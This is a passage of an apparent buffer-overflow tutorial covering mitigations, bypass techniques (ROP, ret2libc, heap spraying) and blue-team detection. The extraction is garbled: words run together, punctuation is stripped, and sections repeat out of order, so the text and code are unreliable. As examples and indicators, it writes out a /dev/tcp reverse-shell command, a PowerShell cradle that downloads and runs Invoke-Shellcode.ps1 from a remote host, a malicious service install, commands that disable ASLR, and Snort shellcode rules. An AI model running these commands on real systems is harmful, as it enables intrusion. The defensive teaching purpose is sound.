need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
